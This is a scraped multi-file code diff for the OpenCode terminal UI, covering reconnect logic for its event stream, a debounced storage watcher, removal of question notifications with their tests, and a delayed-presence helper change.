import { createGlobalEmitter } from "@solid-primitives/event-bus"
|
||||
import { onCleanup } from "solid-js"
|
||||
import { batch, onCleanup, onMount } from "solid-js"
|
||||
import { createStore } from "solid-js/store"
|
||||
import { errorMessage } from "../util/error"
|
||||
import { createSimpleContext } from "./helper"
|
||||
import { useLog } from "./log"
|
||||
|
||||
export type ClientConnectionStatus = "connected" | "connecting" | "reconnecting"
|
||||
export type ClientConnectionEvent = {
|
||||
readonly type: "client.connection"
|
||||
readonly created: number
|
||||
readonly data: {
|
||||
readonly status: "connecting" | "connected" | "disconnected" | "reconnecting"
|
||||
readonly attempt: number
|
||||
readonly error?: string
|
||||
}
|
||||
}
|
||||
|
||||
type ManagedService = {
|
||||
reconnect: (signal: AbortSignal) => Promise<{ api: OpenCodeClient }>
|
||||
restart: () => Promise<void>
|
||||
}
|
||||
|
||||
type ClientEventMap = { [Type in OpenCodeEvent["type"]]: Extract<OpenCodeEvent, { type: Type }> }
|
||||
const connectTimeout = 2_000
|
||||
const connectionHistoryLimit = 50
|
||||
const eventFlushInterval = 10
|
||||
|
||||
export const { use: useClient, provider: ClientProvider } = createSimpleContext({
|
||||
name: "Client",
|
||||
init: (props: { api: OpenCodeClient; service?: ManagedService }) => {
|
||||
const log = useLog({ component: "client" })
|
||||
const service = props.service
|
||||
const events = createGlobalEmitter<ClientEventMap>()
|
||||
const abort = new AbortController()
|
||||
const history: ClientConnectionEvent[] = []
|
||||
let api = props.api
|
||||
|
||||
const connection = createClientConnection(api, {
|
||||
reconnect: service
|
||||
? async (signal) => {
|
||||
api = (await service.reconnect(signal)).api
|
||||
return api
|
||||
}
|
||||
: undefined,
|
||||
onEvent(event) {
|
||||
events.emit(event.type, event)
|
||||
},
|
||||
log,
|
||||
const events = createGlobalEmitter<ClientEventMap>()
|
||||
let pending: OpenCodeEvent[] = []
|
||||
let flushTimer: ReturnType<typeof setTimeout> | undefined
|
||||
const [connection, setConnection] = createStore<{
|
||||
status: ClientConnectionStatus
|
||||
attempt: number
|
||||
error?: string
|
||||
}>({
|
||||
status: "connecting",
|
||||
attempt: 0,
|
||||
})
|
||||
let stream: AbortController | undefined
|
||||
|
||||
function record(status: ClientConnectionEvent["data"]["status"], attempt: number, error?: string) {
|
||||
history.push({ type: "client.connection", created: Date.now(), data: { status, attempt, error } })
|
||||
if (history.length > connectionHistoryLimit) history.shift()
|
||||
}
|
||||
|
||||
function flushEvents() {
|
||||
flushTimer = undefined
|
||||
const queued = pending
|
||||
pending = []
|
||||
batch(() => queued.forEach((event) => events.emit(event.type, event)))
|
||||
}
|
||||
|
||||
function emit(event: OpenCodeEvent) {
|
||||
pending.push(event)
|
||||
if (flushTimer) return
|
||||
flushTimer = setTimeout(flushEvents, eventFlushInterval)
|
||||
}
|
||||
|
||||
async function connect(signal: AbortSignal, attempt: number) {
|
||||
let connectedAt: number | undefined
|
||||
|
||||
// Bound the initial handshake and tie this request to the stream lifetime.
|
||||
const request = new AbortController()
|
||||
const cancel = () => request.abort(signal.reason)
|
||||
const timeout = setTimeout(() => request.abort(new Error("Timed out connecting to server")), connectTimeout)
|
||||
signal.addEventListener("abort", cancel, { once: true })
|
||||
|
||||
try {
|
||||
// Open the event stream and validate its initial handshake.
|
||||
record(attempt === 0 ? "connecting" : "reconnecting", attempt)
|
||||
log.info("event stream connecting", { attempt })
|
||||
|
||||
const iterator = api.event.subscribe({ signal: request.signal })[Symbol.asyncIterator]()
|
||||
const first = await iterator.next()
|
||||
|
||||
if (signal.aborted) return { error: undefined, connectedAt }
|
||||
if (first.done) {
|
||||
const error =
|
||||
request.signal.reason instanceof Error ? request.signal.reason : new Error("Event stream disconnected")
|
||||
return { error, connectedAt }
|
||||
}
|
||||
if (first.value.type !== "server.connected")
|
||||
return { error: new Error("Event stream did not start with server.connected"), connectedAt }
|
||||
|
||||
// Publish the connected state before forwarding live events.
|
||||
clearTimeout(timeout)
|
||||
record("connected", attempt)
|
||||
connectedAt = Date.now()
|
||||
log.info("event stream connected")
|
||||
emit(first.value)
|
||||
setConnection({ status: "connected", attempt: 0, error: undefined })
|
||||
|
||||
// Forward events until the stream closes or this connection is cancelled.
|
||||
while (!signal.aborted) {
|
||||
const event = await iterator.next()
|
||||
|
||||
if (signal.aborted) return { error: undefined, connectedAt }
|
||||
if (event.done) return { error: new Error("Event stream disconnected"), connectedAt }
|
||||
|
||||
if ("durable" in event.value)
|
||||
log.debug("event", {
|
||||
type: event.value.type,
|
||||
aggregateID: event.value.durable.aggregateID,
|
||||
seq: event.value.durable.seq,
|
||||
})
|
||||
|
||||
emit(event.value)
|
||||
}
|
||||
|
||||
return { error: undefined, connectedAt }
|
||||
} catch (error) {
|
||||
return { error, connectedAt }
|
||||
} finally {
|
||||
request.abort()
|
||||
clearTimeout(timeout)
|
||||
signal.removeEventListener("abort", cancel)
|
||||
}
|
||||
}
|
||||
|
||||
function start() {
|
||||
stream?.abort()
|
||||
const controller = new AbortController()
|
||||
stream = controller
|
||||
void (async () => {
|
||||
let attempt = 0
|
||||
while (!abort.signal.aborted && !controller.signal.aborted) {
|
||||
const result = await connect(controller.signal, attempt)
|
||||
if (abort.signal.aborted || controller.signal.aborted) return
|
||||
if (result.connectedAt !== undefined && Date.now() - result.connectedAt >= 1_000) attempt = 0
|
||||
attempt += 1
|
||||
const message = errorMessage(result.error)
|
||||
record("disconnected", attempt, message)
|
||||
log.info("event stream disconnected", {
|
||||
attempt,
|
||||
error: message,
|
||||
})
|
||||
setConnection({ status: "reconnecting", attempt, error: message })
|
||||
// Re-resolve the transport before retrying: the server may have
|
||||
// moved (service restarted on a new port) or need starting. Static
|
||||
// transports (--server, standalone) resolve to the same address.
|
||||
if (props.service) {
|
||||
const next = await props.service.reconnect(controller.signal).catch((error) => {
|
||||
if (!controller.signal.aborted)
|
||||
log.info("server resolution failed", {
|
||||
attempt,
|
||||
error: errorMessage(error),
|
||||
})
|
||||
})
|
||||
if (abort.signal.aborted || controller.signal.aborted) return
|
||||
if (next) {
|
||||
api = next.api
|
||||
if (attempt === 1) continue
|
||||
}
|
||||
}
|
||||
await wait(1_000, controller.signal)
|
||||
}
|
||||
})()
|
||||
}
|
||||
|
||||
onMount(start)
|
||||
onCleanup(() => {
|
||||
abort.abort()
|
||||
stream?.abort()
|
||||
if (flushTimer) clearTimeout(flushTimer)
|
||||
pending = []
|
||||
events.clear()
|
||||
})
|
||||
|
||||
@@ -45,8 +183,35 @@ export const { use: useClient, provider: ClientProvider } = createSimpleContext(
|
||||
on: events.on,
|
||||
listen: events.listen,
|
||||
},
|
||||
connection,
|
||||
restart: service?.restart,
|
||||
connection: {
|
||||
status() {
|
||||
return connection.status
|
||||
},
|
||||
attempt() {
|
||||
return connection.attempt
|
||||
},
|
||||
error() {
|
||||
return connection.error
|
||||
},
|
||||
internal: {
|
||||
history() {
|
||||
return history.slice()
|
||||
},
|
||||
},
|
||||
},
|
||||
restart: props.service?.restart,
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
function wait(delay: number, signal: AbortSignal) {
|
||||
return new Promise<void>((resolve) => {
|
||||
const timer = setTimeout(done, delay)
|
||||
signal.addEventListener("abort", done, { once: true })
|
||||
function done() {
|
||||
clearTimeout(timer)
|
||||
signal.removeEventListener("abort", done)
|
||||
resolve()
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
@@ -37,6 +37,7 @@ import type { Plugin } from "@opencode-ai/plugin/tui"
|
||||
import { createStore, produce, reconcile } from "solid-js/store"
|
||||
import { createSimpleContext } from "./helper"
|
||||
import { useClient } from "./client"
|
||||
import { nonEmptyToolContent } from "../util/tool-display"
|
||||
import type { SessionInbox } from "@opencode-ai/schema/session-inbox"
|
||||
import { Worktree } from "@opencode-ai/schema/worktree"
|
||||
import { createEffect, createSignal, onCleanup } from "solid-js"
|
||||
|
||||
@@ -110,10 +110,19 @@ function createStorage(root: string, channel: string) {
|
||||
},
|
||||
}
|
||||
|
||||
const watcher = watch(directory, () => entries.forEach((entry) => entry.reload()))
|
||||
let reload: ReturnType<typeof setTimeout> | undefined
|
||||
const watcher = watch(directory, () => {
|
||||
clearTimeout(reload)
|
||||
// Atomic writes notify for the temporary file before its final rename, and some
|
||||
// platforms coalesce the rename event. Reload after the event burst has settled.
|
||||
reload = setTimeout(() => entries.forEach((entry) => entry.reload()), 50)
|
||||
})
|
||||
return {
|
||||
storage,
|
||||
close: () => watcher.close(),
|
||||
close: () => {
|
||||
clearTimeout(reload)
|
||||
watcher.close()
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -24,7 +24,6 @@ export default Plugin.define({
|
||||
const errored = new Set<string>()
|
||||
const terminal = new Set<string>()
|
||||
const forms = new Set<string>()
|
||||
const questions = new Set<string>()
|
||||
const permissions = new Set<string>()
|
||||
|
||||
const started = (sessionID: string) => {
|
||||
@@ -50,13 +49,6 @@ export default Plugin.define({
|
||||
}),
|
||||
context.data.on("form.replied", (event) => forms.delete(event.data.id)),
|
||||
context.data.on("form.cancelled", (event) => forms.delete(event.data.id)),
|
||||
context.data.on("question.asked", (event) => {
|
||||
if (questions.has(event.data.id)) return
|
||||
questions.add(event.data.id)
|
||||
notify(context, event.data.sessionID, "Question needs input", "question")
|
||||
}),
|
||||
context.data.on("question.replied", (event) => questions.delete(event.data.requestID)),
|
||||
context.data.on("question.rejected", (event) => questions.delete(event.data.requestID)),
|
||||
context.data.on("permission.asked", (event) => {
|
||||
if (permissions.has(event.data.id)) return
|
||||
permissions.add(event.data.id)
|
||||
|
||||
@@ -1530,9 +1530,13 @@ function BackgroundToolHint(props: { messages: SessionMessageInfo[] }) {
|
||||
return name === "shell" || name === "subagent"
|
||||
})
|
||||
if (!current || !part) return
|
||||
return `${current.id}:${part.id}`
|
||||
return { key: `${current.id}:${part.id}`, started: part.time.ran ?? part.time.created }
|
||||
})
|
||||
const visible = createDelayedPresence(running, BACKGROUND_TOOL_HINT_DELAY)
|
||||
const visible = createDelayedPresence(
|
||||
running,
|
||||
(tool) => Math.max(0, BACKGROUND_TOOL_HINT_DELAY - (Date.now() - tool.started)),
|
||||
(previous, next) => previous.key === next.key && previous.started === next.started,
|
||||
)
|
||||
return (
|
||||
<Show when={visible() && shortcut()}>
|
||||
{(value) => (
|
||||
|
||||
@@ -1,14 +1,32 @@
|
||||
import { createEffect, createSignal, onCleanup, type Accessor } from "solid-js"
|
||||
import { createEffect, createMemo, createSignal, onCleanup, type Accessor } from "solid-js"
|
||||
|
||||
export function createDelayedPresence<T>(source: Accessor<T | undefined>, delay: number) {
|
||||
export function createDelayedPresence<T>(
|
||||
source: Accessor<T | undefined>,
|
||||
delay: number | ((value: T) => number),
|
||||
equals?: (previous: T, next: T) => boolean,
|
||||
) {
|
||||
const [visible, setVisible] = createSignal(false)
|
||||
const value = equals
|
||||
? createMemo(source, undefined, {
|
||||
equals: (previous, next) => {
|
||||
if (previous === undefined || next === undefined) return previous === next
|
||||
return equals(previous, next)
|
||||
},
|
||||
})
|
||||
: source
|
||||
|
||||
createEffect(() => {
|
||||
const value = source()
|
||||
const current = value()
|
||||
setVisible(false)
|
||||
if (value === undefined) return
|
||||
if (current === undefined) return
|
||||
|
||||
const timer = setTimeout(() => setVisible(true), delay)
|
||||
const remaining = typeof delay === "function" ? delay(current) : delay
|
||||
if (remaining <= 0) {
|
||||
setVisible(true)
|
||||
return
|
||||
}
|
||||
|
||||
const timer = setTimeout(() => setVisible(true), remaining)
|
||||
onCleanup(() => clearTimeout(timer))
|
||||
})
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import Notifications from "../../../../src/feature-plugins/system/notifications"
|
||||
import type { OpenCodeEvent, PermissionAsked, QuestionAsked } from "@opencode-ai/client"
|
||||
import type { OpenCodeEvent, PermissionAsked } from "@opencode-ai/client"
|
||||
import type { AttentionNotifyOptions, Context } from "@opencode-ai/plugin/tui/context"
|
||||
|
||||
type Session = { id: string; title: string; parentID?: string }
|
||||
@@ -58,14 +58,6 @@ async function setup() {
|
||||
}
|
||||
}
|
||||
|
||||
function question(id: string, sessionID = "session"): QuestionAsked["data"] {
|
||||
return {
|
||||
id,
|
||||
sessionID,
|
||||
questions: [],
|
||||
}
|
||||
}
|
||||
|
||||
function form(id: string, sessionID = "session"): Extract<OpenCodeEvent, { type: "form.created" }>["data"]["form"] {
|
||||
return {
|
||||
id,
|
||||
@@ -123,13 +115,6 @@ function executionFailed(id: string, sessionID = "session"): OpenCodeEvent {
|
||||
}
|
||||
}
|
||||
|
||||
const questionNotification: AttentionNotifyOptions = {
|
||||
title: "Demo session",
|
||||
message: "Question needs input",
|
||||
notification: { when: "blurred" },
|
||||
sound: { name: "question", when: "always" },
|
||||
}
|
||||
|
||||
const formNotification: AttentionNotifyOptions = {
|
||||
title: "Input requested",
|
||||
message: "Input needs response",
|
||||
@@ -155,7 +140,7 @@ const permissionNotification: AttentionNotifyOptions = {
|
||||
}
|
||||
|
||||
describe("internal notifications TUI plugin", () => {
|
||||
test("notifies for form, question, and permission requests with blurred notifications and always-on sounds", async () => {
|
||||
test("notifies for form and permission requests with blurred notifications and always-on sounds", async () => {
|
||||
const harness = await setup()
|
||||
|
||||
harness.emit({
|
||||
@@ -164,10 +149,9 @@ describe("internal notifications TUI plugin", () => {
|
||||
type: "form.created",
|
||||
data: { form: { ...form("form-1"), title: "Confirm deployment" } },
|
||||
})
|
||||
harness.emit({ id: "event-2", created: 0, type: "question.asked", data: question("question-1") })
|
||||
harness.emit({ id: "event-3", created: 0, type: "permission.asked", data: permission("permission-1") })
|
||||
|
||||
expect(harness.notifications).toEqual([titledFormNotification, questionNotification, permissionNotification])
|
||||
expect(harness.notifications).toEqual([titledFormNotification, permissionNotification])
|
||||
})
|
||||
|
||||
test("notifies for global forms once the TUI can render them", async () => {
|
||||
@@ -183,7 +167,7 @@ describe("internal notifications TUI plugin", () => {
|
||||
expect(harness.notifications).toEqual([globalFormNotification])
|
||||
})
|
||||
|
||||
test("dedupes pending forms, questions, and permissions until they are resolved", async () => {
|
||||
test("dedupes pending forms and permissions until they are resolved", async () => {
|
||||
const harness = await setup()
|
||||
|
||||
harness.emit({ id: "event-1", created: 0, type: "form.created", data: { form: form("form-1") } })
|
||||
@@ -196,16 +180,6 @@ describe("internal notifications TUI plugin", () => {
|
||||
})
|
||||
harness.emit({ id: "event-4", created: 0, type: "form.created", data: { form: form("form-1") } })
|
||||
|
||||
harness.emit({ id: "event-5", created: 0, type: "question.asked", data: question("question-1") })
|
||||
harness.emit({ id: "event-6", created: 0, type: "question.asked", data: question("question-1") })
|
||||
harness.emit({
|
||||
id: "event-7",
|
||||
created: 0,
|
||||
type: "question.replied",
|
||||
data: { sessionID: "session", requestID: "question-1", answers: [] },
|
||||
})
|
||||
harness.emit({ id: "event-8", created: 0, type: "question.asked", data: question("question-1") })
|
||||
|
||||
harness.emit({ id: "event-9", created: 0, type: "permission.asked", data: permission("permission-1") })
|
||||
harness.emit({ id: "event-10", created: 0, type: "permission.asked", data: permission("permission-1") })
|
||||
harness.emit({
|
||||
@@ -219,8 +193,6 @@ describe("internal notifications TUI plugin", () => {
|
||||
expect(harness.notifications).toEqual([
|
||||
formNotification,
|
||||
formNotification,
|
||||
questionNotification,
|
||||
questionNotification,
|
||||
permissionNotification,
|
||||
permissionNotification,
|
||||
])
|
||||
|
||||
@@ -1873,14 +1873,15 @@ test("refreshes effective catalog data after catalog updates", async () => {
|
||||
|
||||
test("refreshes agents after agent updates", async () => {
|
||||
const events = createEventStream()
|
||||
let agentID = "build"
|
||||
let requests = 0
|
||||
const calls = createFetch((url) => {
|
||||
if (url.pathname !== "/api/agent") return
|
||||
requests++
|
||||
return json({
|
||||
location: { directory, project: { id: "proj_test", directory } },
|
||||
data: [
|
||||
{
|
||||
id: agentID,
|
||||
id: requests === 1 ? "build" : "reviewer",
|
||||
request: { headers: {}, body: {} },
|
||||
mode: "primary",
|
||||
hidden: false,
|
||||
@@ -1910,11 +1911,6 @@ test("refreshes agents after agent updates", async () => {
|
||||
|
||||
try {
|
||||
await wait(() => data.location.agent.list()?.[0]?.id === "build")
|
||||
await Bun.sleep(20)
|
||||
events.emit({ id: "evt_agent_unlocated", created: 0, type: "agent.updated", data: {} })
|
||||
await Bun.sleep(20)
|
||||
expect(data.location.agent.list()?.[0]?.id).toBe("build")
|
||||
agentID = "reviewer"
|
||||
emitEvent(events, { id: "evt_agent", created: 0, type: "agent.updated", data: {} })
|
||||
await wait(() => data.location.agent.list()?.[0]?.id === "reviewer")
|
||||
} finally {
|
||||
@@ -2805,7 +2801,7 @@ test("renders admitted prompts immediately and tracks them until promoted", asyn
|
||||
await mounted
|
||||
const received: string[] = []
|
||||
const unsubscribe = sync.listen((event) => received.push(event.name))
|
||||
events.emit({
|
||||
emitEvent(events, {
|
||||
id: "evt_admitted_1",
|
||||
created: 0,
|
||||
type: "session.inbox.enqueued",
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user